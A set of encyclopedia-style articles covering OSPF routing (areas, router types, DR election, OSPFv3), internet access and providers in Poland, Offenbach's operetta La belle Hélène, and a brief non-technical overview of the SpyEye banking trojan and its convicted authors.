Redistribution into an NSSA area creates a special type of LSA known as type 7, which can exist only in an NSSA area. An NSSA ASBR generates this LSA, and an NSSA ABR router translates it into type 5 LSA which gets propagated into the OSPF domain.
A newly acquired subsidiary is one example of where it might be suitable for an area to be simultaneously not-so-stubby and totally stubby if the practical place to put an ASBR is on the edge of a totally stubby area. In such a case, the ASBR does send externals into the totally stubby area, and they are available to OSPF speakers within that area. In Cisco's implementation, the external routes can be summarized before injecting them into the totally stubby area. In general, the ASBR should not advertise default into the TSA-NSSA, although this can work with extremely careful design and operation, for the limited special cases in which such an advertisement makes sense.
By declaring the totally stubby area as NSSA, no external routes from the backbone, except the default route, enter the area being discussed. The externals do reach area 0.0.0.0 via the TSA-NSSA, but no routes other than the default route enter the TSA-NSSA. Routers in the TSA-NSSA send all traffic to the ABR, except to routes advertised by the ASBR.
Router types
OSPF defines the following overlapping categories of routers:
Internal router (IR) An internal router has all its interfaces belonging to the same area.
Area border router (ABR) An area border router is a router that connects one or more areas to the main backbone network. It is considered a member of all areas it is connected to. An ABR keeps multiple instances of the link-state database in memory, one for each area to which that router is connected.
Backbone router (BR) A backbone router has an interface to the backbone area. Backbone routers may also be area routers, but do not have to be.
Autonomous system boundary router (ASBR) An autonomous system boundary router is a router that is connected by using more than one routing protocol and that exchanges routing information with routers autonomous systems. ASBRs typically also run an exterior routing protocol (e.g., BGP), or use static routes, or both. An ASBR is used to distribute routes received from other, external ASs throughout its own autonomous system. An ASBR creates External LSAs for external addresses and floods them to all areas via ABR. Routers in other areas use ABRs as next hops to access external addresses. Then ABRs forward packets to the ASBR that announces the external addresses.
The router type is an attribute of an OSPF process. A given physical router may have one or more OSPF processes. For example, a router that is connected to more than one area, and which receives routes from a BGP process connected to another AS, is both an area border router and an autonomous system boundary router.
Each router has an identifier, customarily written in the dotted-decimal format (e.g., 1.2.3.4) of an IP address. This identifier must be established in every OSPF instance. If not explicitly configured, the highest logical IP address will be duplicated as the router identifier. However, since the router identifier is not an IP address, it does not have to be a part of any routable subnet in the network, and often isn't to avoid confusion.
Non-point-to-point network
On networks (same subnet) with more than 2 OSPF routers as system of designated router (DR) and backup designated router (BDR), is used to reducing network traffic by providing a source for routing updates.
This is done using multicast address's:
, all routers in the topology will listen on that multicast address.
, DR and BRD will listen on that multicast address.
The DR and BDR maintains a complete topology table of the network and sends the updates to the other routers via multicast. All routers in a multi-access network segment will form a slave/master relationship with the DR and BDR. They will form adjacencies with the DR and BDR only. Every time a router sends an update, it sends it to the DR and BDR on the multicast address . The DR will then send the update out to all other routers in the area, to the multicast address . This way all the routers do not have to constantly update each other, and can rather get all their updates from a single source. The use of multicasting further reduces the network load. DRs and BDRs are always setup/elected on OSPF broadcast networks. DR's can also be elected on NBMA (Non-Broadcast Multi-Access) networks such as Frame Relay or ATM. DRs or BDRs are not elected on point-to-point links (such as a point-to-point WAN connection) because the two routers on either side of the link must become fully adjacent and the bandwidth between them cannot be further optimized. DR and non-DR routers evolve from 2-way to full adjacency relationships by exchanging DD, Request, and Update.
Designated router
A designated router (DR) is the router interface elected among all routers on a particular multiaccess network segment, generally assumed to be broadcast multiaccess. Special techniques, often vendor-dependent, may be needed to support the DR function on non-broadcast multiaccess (NBMA) media. It is usually wise to configure the individual virtual circuits of an NBMA subnet as individual point-to-point lines; the techniques used are implementation-dependent.
Backup designated router
A backup designated router (BDR) is a router that becomes the designated router if the current designated router has a problem or fails. The BDR is the OSPF router with the second-highest priority at the time of the last election.
A given router can have some interfaces that are designated (DR) and others that are backup designated (BDR), and others that are non-designated. If no router is a DR or a BDR on a given subnet, the BDR is first elected, and then a second election is held for the DR.
Designated router election
The DR is elected based on the following default criteria:
If the priority setting on an OSPF router is set to 0, that means it can NEVER become a DR or BDR.
When a DR fails and the BDR takes over, there is another election to see who becomes the replacement BDR.
The router sending the Hello packets with the highest priority wins the election.
If two or more routers tie with the highest priority setting, the router sending the Hello with the highest RID (Router ID) wins. NOTE: a RID is the highest logical (loopback) IP address configured on a router, if no logical/loopback IP address is set then the router uses the highest IP address configured on its active interfaces (e.g. would be higher than ).
Usually the router with the second-highest priority number becomes the BDR.
The priority values range between 0 – 255, with a higher value increasing its chances of becoming DR or BDR.
If a higher priority OSPF router comes online after the election has taken place, it will not become DR or BDR until (at least) the DR and BDR fail.
If the current DR 'goes down' the current BDR becomes the new DR and a new election takes place to find another BDR. If the new DR then 'goes down' and the original DR is now available, still previously chosen BDR will become DR.
Protocol messages
Unlike other routing protocols, OSPF does not carry data via a transport protocol, such as the User Datagram Protocol (UDP) or the Transmission Control Protocol (TCP). Instead, OSPF forms IP datagrams directly, packaging them using protocol number 89 for the IP Protocol field. OSPF defines five different message types, for various types of communication. Multiple packets can be send per frame.
OSFP uses the following packets 5 type:
Hello
Database description
Link State Request
Link State Update
Link State Acknowledgement
Hello Packet
OSPF's Hello messages are used as a form of greeting, to allow a router to discover other adjacent routers on its local links and networks. The messages establish relationships between neighboring devices (called adjacencies) and communicate key parameters about how OSPF is to be used in the autonomous system or area. During normal operation, routers send hello messages to their neighbors at regular intervals (the hello interval); if a router stops receiving hello messages from a neighbor, after a set period (the dead interval) the router will assume the neighbor has gone down.
Database description DBD
Database description messages contain descriptions of the topology of the autonomous system or area. They convey the contents of the link-state database (LSDB) for the area from one router to another. Communicating a large LSDB may require several messages to be sent by having the sending device designated as a master device and sending messages in sequence, with the slave (recipient of the LSDB information) responding with acknowledgments.
Link state packets
Link state request (LSR) Link state request messages are used by one router to request updated information about a portion of the LSDB from another router. The message specifies the link(s) for which the requesting device wants more current information.
Link state update (LSU) Link-state update messages contain updated information about the state of certain links on the LSDB. They are sent in response to a link state request message, and also broadcast or multicast by routers on a regular basis. Their contents are used to update the information in the LSDBs of routers that receive them.
Link state acknowledgment (LSAck) Link-state acknowledgment messages provide reliability to the link-state exchange process, by explicitly acknowledging receipt of a Link State Update message.
OSPF v2 area types and accepted LSAs
Not all area types use all LSA. Below is a matrix of accepted LSAs.
Routing metrics
OSPF uses path cost as its basic routing metric, which was defined by the standard not to equate to any standard value such as speed, so the network designer could pick a metric important to the design. In practice, it is determined by comparing the speed of the interface to a reference-bandwidth for the OSPF process. The cost is determined by dividing the reference bandwidth by the interface speed (although the cost for any interface can be manually overridden). If a reference bandwidth is set to '10000', then a 10 Gbit/s link will have a cost of 1. Any speeds less than 1 are rounded up to 1. Here is an example table that shows the routing metric or 'cost calculation' on an interface.
Type-1 LSA has a size of 16-bit field (65,535 in decimal)
Type-3 LSA has a size of 24-bit field (16,777,216 in decimal)
OSPF is a layer 3 protocol: if a layer 2 switch is between the two devices running OSPF, one side may negotiate a speed different from the other side. This can create an asymmetric routing on the link (Router 1 to Router 2 could cost '1' and the return path could cost '10'), which may lead to unintended consequences.
Metrics, however, are only directly comparable when of the same type. Four types of metrics are recognized. In decreasing preference, these types are (for example, an intra-area route is always preferred to an external route regardless of metric):
Intra-area
Inter-area
External Type 1, which includes both the external path cost and the sum of internal path costs to the ASBR that advertises the route,
External Type 2, the value of which is solely that of the external path cost,
OSPF v3
OSPF version 3 introduces modifications to the IPv4 implementation of the protocol.
Despite the expanded IP addressing to 128-bits in IPv6, area and router identifications are still based on 32-bit numbers.
High level Changes
Except for virtual links, all neighbor exchanges use IPv6 link-local addressing exclusively. The IPv6 protocol runs per link, rather than based on the subnet.
All IP prefix information has been removed from the link-state advertisements and from the hello discovery packet making OSPFv3 essentially protocol-independent.
Three separate flooding scopes for LSAs:
Link-local scope, LSA is only flooded on the local link and no further.
Area scope, LSA is flooded throughout a single OSPF area.
AS scope. LSA is flooded throughout the routing domain.
Use of IPv6 Link-Local Addresses, for neighbor discovery, auto-configuration.
Authentication has been moved to the IP Authentication Header
Changes introduced in OSPF v3, then backported by vendors to v2
Explicit Support for Multiple Instances per Link
Packet Format Changes
OSPF version number changed to 3
From the LSA header, The Options field has been removed.
In Hello packets and Database Description, the Options field is changed from 16 to 24 bit.
In Hello packet, the address information has been removed. the Interface ID has been added.
In router-LSAs, Two Options bits, the "R-bit" and the "V6-bit", have been added.
"R-bit", Allows for multi-homed hosts to participate in the routing protocol.
"V6-bit", specializes the R-bit.
Add "Instance ID" that allows multiple OSPF protocol instances on the same logical interface.
LSA Format Changes
The LSA Type field, is changed to 16.
Add support for Handling Unknown LSA Types
Three of bits is used for encoding flooding scope.
With IPv6, addresses in LSAs are now expressed as prefix and prefix length.
In Router-LSAs and network-LSAs, the address information is removed.
Router-LSAs and network-LSAs, is made network protocol independent.
A new LSA type is added Link-LSA, Link-LSA provide the router's link-local address to all other routers attached to the logical interface, list of IPv6 prefixes to associate with the link, and can send information that reflect the router's capabilities.
LSA Type-3 summary-LSAs have been renamed "inter-area-prefix-LSAs".
LSA Type-4 summary LSAs have been renamed "inter-area-router-LSAs".
Intra-area-prefix-LSA is added, a LSA that carries all IPv6 prefix information.
OSPF over MPLS-VPN
A customer can use OSPF over a MPLS-VPN, where the service provider uses BGP or RIP as their interior gateway protocol.
When using OSPF over MPLS-VPN, the VPN backbone becomes part of the OSPF backbone area 0. In all areas, isolated copies of the IGP are run.
Advantages:
The MPLS-VPN is transparent to the customer's OSPF standard routing.
Customer's equipment only needs to support OSPF.
Reduce the need for tunnels (Generic Routing Encapsulation, IPsec, wireguard) to use OSPF.
To achieve this, a non-standard OSPF-BGP redistribution is used. All OSPF routes retain the source LSA type and metric.
To prevent loops, an optional DN bit is used in LSAs to indicate that a route has already been sent from the provider edge to the customer's equipment.
OSPF extensions
Traffic engineering
OSPF-TE is an extension to OSPF extending the expressivity to allow for traffic engineering and use on non-IP networks. Using OSPF-TE, more information about the topology can be exchanged using opaque LSA carrying type–length–value elements. These extensions allow OSPF-TE to run completely out of band of the data plane network. This means that it can also be used on non-IP networks, such as optical networks.
OSPF-TE is used in GMPLS networks as a means to describe the topology over which GMPLS paths can be established. GMPLS uses its own path setup and forwarding protocols, once it has the full network map.
In the Resource Reservation Protocol (RSVP), OSPF-TE is used for recording and flooding RSVP signaled bandwidth reservations for label switched paths within the link-state database.
Optical routing
documents work in optical routing for IP based on extensions to OSPF and IS-IS.
Multicast Open Shortest Path First
The Multicast Open Shortest Path First (MOSPF) protocol is an extension to OSPF to support multicast routing. MOSPF allows routers to share information about group memberships.
OSPF in broadcast and non-broadcast networks
In broadcast multiple-access networks, neighbor adjacency is formed dynamically using multicast hello packets to . A DR and BDR are elected normally, and function normally.
For non-broadcast multiple-access networks (NBMA), the following two official modes are defined:
non-broadcast
point-to-multipoint
Cisco has defined the following three additional modes for OSPF in NBMA topologies:
point-to-multipoint non-broadcast
broadcast
point-to-point
Notable implementations
Allied Telesis implements OSPFv2 & OSPFv3 in Allied Ware Plus (AW+)
Arista Networks implements OSPFv2 and OSPFv3
BIRD implements both OSPFv2 and OSPFv3
Cisco IOS and NX-OS
Cisco Meraki
D-Link implements OSPFv2 on Unified Services Router.
Dell's FTOS implements OSPFv2 and OSPFv3
ExtremeXOS
GNU Zebra, a GPL routing suite for Unix-like systems supporting OSPF
Juniper Junos
NetWare implements OSPF in its Multi Protocol Routing module.
OpenBSD includes OpenOSPFD, an OSPFv2 implementation.
Quagga, a fork of GNU Zebra for Unix-like systems
FRRouting, the successor of Quagga
XORP, a routing suite implementing RFC2328 (OSPFv2) and RFC2740 (OSPFv3) for both IPv4 and IPv6
Windows NT 4.0 Server, Windows 2000 Server and Windows Server 2003 implemented OSPFv2 in the Routing and Remote Access Service, although the functionality was removed in Windows Server 2008.
Applications
OSPF is a widely deployed routing protocol that can converge a network in a few seconds and guarantee loop-free paths. It has many features that allow the imposition of policies about the propagation of routes that it may be appropriate to keep local, for load sharing, and for selective route importing. IS-IS, in contrast, can be tuned for lower overhead in a stable network, the sort more common in ISP than enterprise networks. There are some historical accidents that made IS-IS the preferred IGP for ISPs, but ISPs today may well choose to use the features of the now-efficient implementations of OSPF, after first considering the pros and cons of IS-IS in service provider environments.
OSPF can provide better load-sharing on external links than other IGPs. When the default route to an ISP is injected into OSPF from multiple ASBRs as a Type I external route and the same external cost specified, other routers will go to the ASBR with the least path cost from its location. This can be tuned further by adjusting the external cost. If the default route from different ISPs is injected with different external costs, as a Type II external route, the lower-cost default becomes the primary exit and the higher-cost becomes the backup only.
The only real limiting factor that may compel major ISPs to select IS-IS over OSPF is if they have a network with more than 850 routers.
See also
Fabric Shortest Path First
Mesh networking
Route analytics
Routing
Shortest path problem
References
Further reading
External links
IETF OSPF Working Group
Cisco OSPF
Cisco OSPF Areas and Virtual Links
Summary of OSPF v2
Internet protocols
Internet Standards
Routing protocols
Application layer protocols
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https://en.wikipedia.org/wiki/Internet%20in%20Poland
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Internet in Poland
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The Internet in Poland was used by 90.4% of the country's households and 98.6% business entities in 2020.
in 2021, the percentage of households with internet will increase to 92.4%.
Facts and figures
Top-level domain: .pl
Internet users: 25.0 million users, 21st in the world; 65.0% of the population, 19th in the world (2012).
Fixed broadband: 6.4 million subscriptions, 17th in the world; 16.6% of the population, 54th in the world (2012).
Wireless broadband: 18.9 million subscriptions, 16th in the world; 49.3% of the population, 33rd in the world (2012).
Internet hosts: 13.3 million hosts, 12th in the world (2012).
IPv4: 19.4 million addresses allocated, 21st in the world, 0.5% of the world total, 505.9 addresses per 1000 people (2012).
70.6% of households in Poland with no internet access indicated that they have no need to use it.
In August 2020, the number of mobile device users exceeded the number of fixed-line internet users.
The first analogue Internet connection was launched on September 26, 1990 and had a speed of 9600 bits per second. The Institute of Nuclear Physics of the Polish Academy of Sciences received the first IP address in Poland (192.86.14.0) on 19 November 1990, assigned to it by the United States Department of Defense. This institute was also the recipient of the first e-mail sent to Poland, sent by CERN on November 20, 1990, and received on a MicroVax II computer.
Pricing
According to an OECD report, in September 2012 the price of Internet access in Poland ranged from $0.45 to US$127.12 PPP per megabit per second (Mbit/s) of advertised speed. This places Poland in the middle of the pack on the low end (18th lowest out of 34 countries) and at the top on the high end (second highest behind New Zealand at $130.20). This compares with ranges of $0.40 to $23.25 for Germany, $0.40 to $12.35 for the Czech Republic, and $0.53 to $41.70 for the U.S.
According to Eurostat, OECD and others, Internet access in Poland is among the most expensive in Europe. This is mostly due to a lack of competition and lack of know-how. New operators like Dialog and GTS Energis are making their own provider lines and offer more attractive and cheaper service. In February 2011, the Polish Office of Electronic Communication issued an order forcing TPSA to rent 51% of their ADSL lines to other ISPs at 60% discount of their market pricing. As the result the prices are non-competitive, other ISP charge as TPSA making a guaranteed 40% profit, while TPSA has no incentive to lower its consumer prices, because it would result in lowering of wholesale prices as well.
ADSL
The most popular ADSL services for home users in Poland are Neostrada provided by TPSA and Net24 provided by Netia. Both provide download speeds in the range of 10 to 80 Mbit/s and upload speeds of 1 Mbit/s or more. Business users as well as some home users use Internet DSL TP also offered by TPSA.
Neostrada
ADSL and VDSL service is offered by Neostrada.
Internet DSL TP
There is another ADSL option available, targeted mainly at business clients, called Internet DSL TP. The link availability is guaranteed, offers static IP addresses, and a modem with Ethernet interface.
Net24
ADSL service called Net24, provided by TP's main competitor Netia. The service can be installed on ISDN lines.
Netia also offers ADSL (BiznesNet24) and SDSL (SuperNet24) subscriptions for business customers, which offer static IP addresses and higher speeds.
Multimo
ADSL service called Multimo, provided by GTS Energis for TP customers via Bit Stream Access.
DialNET DSL
ADSL service called DialNET DSL, provided by Dialog now bought by Netia.
Cable
Cable providers such as Multimedia, UPC, Vectra and ASTER offer triple play services.
VECTRA
Vectra, after the purchase of Multimedia, is the largest cable network in Poland. (Reaches 4.4 million households).
INEA
Cable providers from Greatpoland. Offers 10Gbit/s for anyone in their networks via fibre.
UPC
UPC has upgraded its "Fiber Power" internet service to higher speeds, offering internet with download speeds from 10 Mbit/s up to 1 Gbit/s. (Reaches 3.7 million households). play (p4) buys upc
ASTER
ASTER used to provide triple play to many cities in Poland, especially Warsaw and Kraków with speeds ranging from 1 Mbit/s to 120 Mbit/s.
On January 2, 2012, Aster merged with UPC. As a result, every service was bumped into the higher tier and the daytime half speed throttling was removed.
HETAN
HETAN provides stationary Internet via Satellite to whole Poland for private and business customers with speeds ranging from 10 Mbit/s to 20 Mbit/s in download and from 2 Mbit/s to 6 Mbit/s in upload.
HETAN launched its services in August 2011, and is since then market leader in providing internet via KA-satellite services to private households and SME's in Poland. HETAN is the largest Reseller of Tooway/Skylogic Services in Poland and does represent as well Hylass/Avanti.
KORBANK
KORBANK provides Triple Play, especially in FTTx or ETH technology. The firm allows subscribers to connect and use computer-based telecommunications networks using independent Internet connections boasting high quality and transmission capacity, digital telephony and new generation TV. Operations focus on Lower Silesia and Masovia regions, where telecommunications services are offered to both retail and business clients. KORBANK is also founder of the first in Europe IPTV Platform based on Unicast Protocol - AVIOS.
During Civic Platform government
In early 2011, Internet censorship legislation that included the creation of a registry of blocked websites was abandoned by the Polish Government, following protests and petitions opposing the proposal.
In 2011 the Office for Electronic Communications reported that law enforcement agencies requested access to telecommunications data (including call logs, telephone location, and names registered to specific numbers) 1.8 million times, an increase of 500,000 over the number of requests in 2010.
In January 2012, thousands protested Prime Minister Tusk's signing of the Anti-Counterfeiting Trade Agreement (ACTA) establishing international standards for enforcing intellectual property rights, accusing it of facilitating Internet censorship. And in February Tusk suspended ACTA's ratification because his government had made insufficient consultations before signing the agreement to ensure it was entirely safe for Polish citizens.
In September 2012, the creator of the website Antykomor.pl that satirized President Komorowski was sentenced to 15 months of restricted liberty and 600 hours of community service for defaming the president.
See also
CERT Polska, Computer Emergency Response Team for Poland.
Media of Poland
Telecommunications in Poland
References
External links
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https://en.wikipedia.org/wiki/La%20belle%20H%C3%A9l%C3%A8ne
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La belle Hélène
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La belle Hélène (, The Beautiful Helen) is an opéra bouffe in three acts, with music by Jacques Offenbach and words by Henri Meilhac and Ludovic Halévy. The piece parodies the story of Helen's elopement with Paris, which set off the Trojan War.
The premiere was at the Théâtre des Variétés, Paris, on 17 December 1864. The work ran well, and productions followed in three continents. La belle Hélene continued to be revived throughout the 20th century, and has remained a repertoire piece in the 21st.
Background and first performance
By 1864 Offenbach was well established as the leading French composer of operetta. After successes with his early works – short pieces for modest forces – he was granted a licence in 1858 to stage full-length operas with larger casts and chorus. The first of these to be produced, Orphée aux enfers, achieved notoriety and box-office success for its risqué satire of Greek mythology, French musical tradition, and the Second Empire. During the subsequent six years the composer attempted, generally in vain, to emulate this success. In 1864 he returned to classical mythology for his theme. His frequent collaborator, Ludovic Halévy, wrote a sketch for an opera to be called The Capture of Troy (La prise de Troie). Offenbach suggested a collaboration with Hector Crémieux, co-librettist of Orphée, but Halévy preferred a new partner, Henri Meilhac, who wrote much of the plot, to which Halévy added humorous details and comic dialogue. The official censor took exception to some of their words for disrespect for Church and state, but an approved text was arrived at.
In the Grove essay on the work, Andrew Lamb writes, "As with most of Offenbach’s greatest works, the creation of La belle Hélène seems to have been largely untroubled". Although the writing of the work went smoothly, rehearsals did not. The manager of the Théâtre des Variétés, Théodore Cogniard, was penny-pinching and unsympathetic to Offenbach's taste for lavish staging and large-scale orchestration, and the two leading ladies – Hortense Schneider and Léa Silly – engaged in a running feud with each other. The feud became public knowledge and provoked increasing interest in the piece among Parisian theatregoers.
The opera opened on 17 December 1864. The first night audience was enthusiastic but the reviews were mixed, and box-office business was sluggish for a few subsequent performances until supportive reviews by leading writers such as Henri Rochefort and Jules Vallès made their impression on the public, after which the piece drew large audiences from fashionable bohemians as well as respectable citizens from the wealthy arrondissements. It ran through most of 1865 (with a summer break in mid-run), and was replaced in February 1866 with Barbe-bleue, starring the same leading players, except for Silly, with whom Schneider declined ever to appear with again.
Roles
Synopsis
Place: Sparta and the shores of the sea
Time: Before the Trojan War.
Act 1
Paris, son of Priam, arrives with a missive from the goddess Venus to the high priest Calchas, commanding him to procure for Paris the love of Helen, promised him by Venus when he awarded the prize of beauty to her in preference to Juno and Minerva.
Paris arrives, disguised as a shepherd, and wins three prizes at a "contest of wit" (outrageously silly wordgames) with the Greek kings under the direction of Agamemnon, whereupon he reveals his identity. Helen, who was trying to settle after her youthful adventure and aware of Paris's backstory, decides that fate has sealed her fate. The Trojan prince is crowned victor by Helen, to the disgust of the lout Achilles and the two bumbling Ajaxes. Paris is invited to a banquet by Helen's husband Menelaus, the king of Sparta. Paris has bribed Calchas to "prophesise" that Menelaus must at once proceed to Crete, which he agrees to reluctantly under general pressure.
Act 2
While the Greek kings party in Menelaus's palace in his absence, and Calchas is caught cheating at a board game, Paris comes to Helen at night. After she sees off his first straightforward attempt at seducing her, he returns when she has fallen asleep. Helen has prayed for some appeasing dreams and appears to believe that this is one, and so resists him not much longer. Menelaus unexpectedly returns and finds the two in each other's arms. Helen, exclaiming 'la fatalité, la fatalité', tells him that it is all his fault: A good husband knows when to come and when to stay away. Paris tries to dissuade him from kicking up a row, but to no avail. When all the kings join the scene, berating Paris and telling him to go back where he came from, Paris departs, vowing to return and finish the job.
Act 3
The kings and their entourage have moved to Nauplia for the summer season, and Helen is sulking and protesting her innocence. Venus has retaliated for the treatment meted out to her protégé Paris by making the whole population giddy and amorous, to the despair of the kings. A high priest of Venus arrives on a boat, explaining that he has to take Helen to Cythera where she is to sacrifice 100 heifers for her offences. Menelaus pleads with her to go with the priest, but she refuses initially, saying that it is he, and not she, who has offended the goddess. However, when she realises that the priest is Paris in disguise, she embarks and they sail away together.
Musical numbers
Act 1
Introduction and chorus
"Amours divins" – "Divine loves" – Chorus and Helen
Chœur et Oreste "C'est Parthoénis et Léoena" – "It's Parthoenis and Leoena" – Chorus and Orestes
Air de Pâris "Au mont Ida" – Air: "Mount Ida" – Paris
Marche des Rois de la Grèce – March of the Kings of Greece
Chœur "Gloire au berger victorieux"; "Gloire! gloire! gloire au berger" – "Glory to the victorious shepherd"; "Glory! glory! glory to the shepherd " – Chorus and Helen
Act 2
Entr'acte
Chœur "O Reine, en ce jour" – "O Queen, on this day" – Chorus
Invocation à Vénus – Invocation to Venus – Helen
Marche de l'oie – The march of the Goose
Scène du jeu – Scene of the game of "Goose"
Chœur en coulisses "En couronnes tressons les roses" – "In wreaths braid roses" – Offstage chorus
Duo Hélène-Pâris "Oui c'est un rêve" – "Yes it's a dream" – Helen and Paris
"Un mari sage" (Hélène), valse et final: " A moi! Rois de la Grèce, à moi! " – "A wise husband"; waltz and finale: "To me! Kings of Greece, to me!" – Helen; Menelaus
Act 3
Entr'acte
Chœur et ronde d'Oreste "Vénus au fond de nos âmes" – "Venus in the depths of our souls" – Chorus and Orestes
Couplets d'Hélène "Là vrai, je ne suis pas coupable" – Couplets: "There, I'm not guilty" – Helen
Trio patriotique "Lorsque la Grèce est un champ de carnage" (Agamemnon, Calchas, Ménélas) – Patriotic Trio – Agamemnon, Calchas, Menelaus
Chœur "La galère de Cythère", tyrolienne de Pâris "Soyez gais" – "The ship for Cythera"; Tyrolean song: "Be gay" – Chorus and Paris
Finale – All
Revivals
19th century
La belle Hélène was revived at the Variétés in 1876, 1886 and 1889 starring Anna Judic, in 1890 with Jeanne Granier, and 1899 with Juliette Simon-Girard.
The Austrian premiere was at the Theater an der Wien, as Die schöne Helena, in March 1865. It was for this occasion that Eduard Haensch made a new arrangement of the overture, which is universally played today; Offenbach's brief prelude is very seldom heard. The work was given in Berlin at the Friedrich-Wilhelmstädtisches Theater in May of that year, in Brussels the following month, and in Hungary in March 1866 in German and April 1870 in Hungarian.
In London an adaptation by F. C. Burnand titled Helen, or Taken From the Greek opened in June 1866 at the Adelphi Theatre. The original French version had two productions at the St James's Theatre; the first, in July 1868, starred Schneider as Helen; the second, in July 1873, featured Marie Desclauzas, Mario Widmer and Pauline Luigini. Other English adaptations (including a second one by Burnand) were given at the Gaiety Theatre (1871), the Alhambra Theatre (1873) and the Royalty Theatre (1878).
The first New York production of the opera was given in German at the Stadt Theater, New York, in December 1867; the original French version followed, at the Théâtre Français (March 1868) and an English adaptation by Molyneux St John as Paris and Helen, or The Greek Elopement at the New York Theatre (April 1868). There were further US productions in 1871 (in French) and 1899 (in English), with Lillian Russell as Helen. The Australian premiere was at the Royal Victoria Theatre, Sydney in May 1876. From its Russian premiere in the 1868–69 season in St Petersburg, La belle Hélène became, and remained for a decade, the most popular stage work in Russia. In its first run it played for a record-breaking forty-two consecutive performances.
20th century
Revivals in Paris included those at the Théâtre de la Gaîté-Lyrique (1919), the Théâtre Mogador (1960), Théâtre des Bouffes-Parisiens (1976) and the Théâtre National de l'Opéra-Comique (1983 and 1985) and the Théâtre de Paris (1986). In 1999 the Aix-en-Provence Festival staged a production by Herbert Wernicke described by Kurt Gänzl as "sadly tawdry and gimmicky ... showing no comprehension of the opéra-bouffe idiom".
Max Reinhardt's spectacular adaptation of the work was produced at the Theater am Kurfürstendamm in Berlin in 1931, starring Jarmila Novotna. The score was heavily adapted by Erich Korngold. Reinhard directed his version in England in December 1931, with a text by A. P. Herbert under the title Helen, starring Evelyn Laye. An English version more faithful to Meilhac and Halévy's original was given by Sadler's Wells Opera in 1963 and was revived at the London Coliseum in 1975. Scottish Opera toured the work in the 1990s in a translation by John Wells, and English National Opera (ENO) presented Offenbach's score with a completely rewritten libretto by Michael Frayn as La belle Vivette which ran briefly at the Coliseum in 1995, and was bracketed by Hugh Canning of The Sunday Times with Wernicke's Aix production as "horrors unforgotten".
American productions included those of the New York City Opera (1976) with Karan Armstrong, Ohio Light Opera (1994), and Lyric Opera Cleveland (1996).
21st century
Among revivals in France there have been productions at the Théâtre du Châtelet, Paris (2000 and 2015), the Opéra d'Avignon and Opéra de Toulon (both 2014), the (2015), and the Opéra national de Lorraine (2018). The 2000 Châtelet production, by Laurent Pelly, was presented by ENO at the Coliseum in 2006 with Felicity Lott as Helen. In the US productions have included those by Portland Opera (2001), and Santa Fe Opera starring Susan Graham (2003).
Critical reception
The reviewer in Le Journal amusant thought the piece had all the expected Offenbach qualities: "grace, tunefulness, abandonment, eccentricity, gaiety and spirit. ... Do you like good music of cheerful spirit? Here is! Do you want to laugh and have fun? You will laugh, you will have fun! Do you like to see a battalion of beautiful women? Go to the Variétés! For these reasons and many others, La belle Hélène will have its 100 performances. There is no better party at the theatre." The reviewer commented that the librettists were not at their subtlest in this piece, and had "painted with a broad brush of buffoonery". The British journal The Musical World thought the music "very flimsy and essentially second-rate", and attributed the opera's great success to the popularity of Schneider. The Athenaeum considered the piece grossly indecent.
In his 1980 biography of Offenbach, Peter Gammond writes that the music of La belle Hélène is "refined and charming and shows the most Viennese influence". He adds that although it lacks "hit" tunes, it is a cohesive and balanced score, with excellent songs for Helen. But Alexander Faris (1981) writes, "It would be difficult to name an operetta with more good tunes than La belle Hélène (although Die Fledermaus would be a strong contender)". He comments that in this score Offenbach's harmony became more chromatic than it had been in earlier works, and foreshadowed some of Tchaikovsky's harmonic effects. Both writers regard the music more highly than did Neville Cardus, who wrote of this score that Offenbach was not fit for company with Johann Strauss, Auber and Sullivan. More recently, Rodney Milnes, reviewing the 2000 Châtelet production, wrote, "The whole show is as innocently filthy as only the French can manage. And it is musically superb." In his history of operetta (2003), Richard Traubner writes, "La belle Hélène is more than an elaborate copy of Orphée aux enfers. It transcends the former to even higher Olympian heights in the operetta canon. Its finales are funnier, more elaborate, and involve an even greater use of the chorus; the orchestrations are richer, the tunes more plentiful, and there is a waltz of great grace and beauty in Act II".
Recordings
Felicity Lott, Yann Beuron, Michel Sénéchal, Laurent Naouri, François le Roux, Marie-Ange Todorovitch. Musical direction Marc Minkowski (version given at the Théâtre du Châtelet in 2000).
Jessye Norman, John Aler, Charles Burles, Gabriel Bacquier, Jean-Philippe Lafont. Musical direction, Michel Plasson.
Jane Rhodes, Rémy Corazza, Jacques Martin, Jules Bastin, Michel Trempont, with the Orchestre philharmonique de Strasbourg under Alain Lombard, and the chorus of the Opéra national du Rhin under Gunter Wagner (1978).
Recordings which appear on operadis-opera-discography.org.uk
See also
Poire belle Hélène
Sköna Helena - a 1951 Swedish film
Libretto in WikiSource
Notes, references and sources
Notes
References
Sources
External links
Libretto as originally submitted for censorship, accessed 27 July 2011
Operas by Jacques Offenbach
French-language operas
Opéras bouffes
1864 operas
Stefan Zweig Collection
Cultural depictions of Helen of Troy
Agamemnon
Cultural depictions of the Trojan War
Operas based on classical mythology
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https://en.wikipedia.org/wiki/SpyEye
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SpyEye
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SpyEye is a malware program that attacks users running Google Chrome, Opera, Firefox and Internet Explorer on Microsoft Windows operating systems. This malware uses keystroke logging and form grabbing to steal user credentials for malicious use. SpyEye allows hackers to steal money from online bank accounts and initiate transactions even while valid users are logged into their bank account.
SpyEye has the ability to insert new fields and alter existing fields when a compromised user's browser displays a web page, allowing it to prompt for user names, passwords, or card numbers, thereby giving hackers information that allows them to steal money without account holders ever noticing. It can save the user's false balance (with fraudulent transactions hidden) so that the next time the user logs in, the fraudulent transactions and real balance are not displayed in the user's browser (though the bank still sees the fraudulent transactions.)
SpyEye emanated from Russia in 2009 and was sold in underground forums for $500+ in which SpyEye advertised features such as keyloggers, auto-fill credit card modules, email backups, config files (encrypted), Zeus killer, HTTP access, POP3 grabbers and FTP grabbers.
Target users and institutions in the United States, United Kingdom, Mexico, Canada and India were the largest victims of SpyEye; the United States made up 97% of the institutions that fell victim of this malware.
Authors of SpyEye
It is believed that the creator of Zeus said that he was retiring and had given the source code and rights to sell Zeus to his biggest competitor, the creator of the SpyEye trojan; those same experts warned the retirement was a ruse and expect the developer to return with new tricks.
In 2016, Aleksandr Andreevich Panin, author of SpyEye, was arrested and sentenced to nine years and six months in prison.
Hamza Bendelladj, co-author of SpyEye, was arrested and also sentenced to prison with a combined sentence of 24+ years for both Hamza and Panin; both men were charged for stealing hundreds of millions of dollars from banks all around the world.
References
See also
Conficker
Command and control (malware)
Gameover ZeuS, the successor to ZeuS
Operation Tovar
Timeline of computer viruses and worms
Tiny Banker Trojan
Torpig
Zeus (malware)
Zombie (computer science)
Trojan horses
Windows trojans
